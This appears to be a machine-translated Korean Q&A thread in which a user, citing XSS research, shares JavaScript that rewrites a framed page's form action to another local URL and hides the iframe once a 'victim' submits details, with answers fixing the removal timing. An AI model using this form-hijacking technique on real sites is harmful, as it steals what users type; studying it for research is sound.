2012-05-18 3 views
0

일부 XSS 연구의 일부로 변경된 양식 작업으로 iframe을 생성 한 다음 피해자가 세부 정보를 제출 한 후 iframe을 닫으려고합니다. . 지금까지 아래 코드를 가지고 있습니다 :JavaScript에서 양식을 제출 한 후 동적으로 iframe을 닫는 방법

<body onload="iframeEdit()"> 
<script> 
function deleteIframe() { 
var iframe = document.getElementById("myframe"); 
iframe.parentNode.removeChild(iframe); 
} 
function iframeEdit() { 
var iframe = document.getElementById("myframe"); 
var innerDoc = iframe.contentDocument || iframe.contentWindow.document; 
var form = innerDoc.getElementsByTagName("form"); 
form[0].action = "http://127.0.0.1/new/page.php"; 
form[0].setAttribute("onSubmit", "deleteIframe()"); 
} 
</script> 
<iframe id="myframe" src="http://127.0.0.1/iframe/page.php" height="250" width="300"> 

그 코드는 여전히 PHP 페이지에 양식 세부 정보를 게시합니다. 그러나 나중에 iframe을 닫을 수 없습니다. iframe delete 코드가 작동한다는 것을 알고 있습니다. 마치 내가 시도한 것처럼 작동해야합니다. 따라서 스크립트의 논리 흐름과 관련이 있거나 setAttribute 행이 제대로 작동하지 않습니다. 누군가 내가 잘못 가고있는 곳에서 조명을 비춰 줄 수 있습니까? 감사!

답변

2

더 나은 방법이있을 수 있습니다 당신이 필요합니다, 그래서 iframe이가 직접 부모 창에 액세스 할 수 있다는 것입니다 이렇게하려면 발견 된 작업은 setTimeout()을 통해 deleteIframe 함수를 일시 중지하는 것이 었습니다. 나는 양식 세부 사항이 성공적으로 parent 팁에 대한 제이슨 :

function deleteIframeTimer(){ 
var t = setTimeout("deleteIframe()", 5); 
} 

function deleteIframe() { 
var iframe = parent.document.getElementById("myframe"); 
iframe.parentNode.removeChild(iframe); 
} 

많은 감사를 게시하는 등 거의 5 밀리 초는 충분했다 발견!

+0

동일한 페이지에 제출하는 경우 AJAX, jQuery 게시물을 사용하지 않으시겠습니까? 5ms 대기 시간. –

1

이 코드를 실행하지 않고 단지 추측

form[0].setAttribute("onSubmit", "parent.deleteIframe()"); 

내 추측 parent

+0

감사합니다 - iframe을 제거하지만 불행히도 세부 정보가 더 이상 게시되지 않습니다. ( – Jingo

관련 문제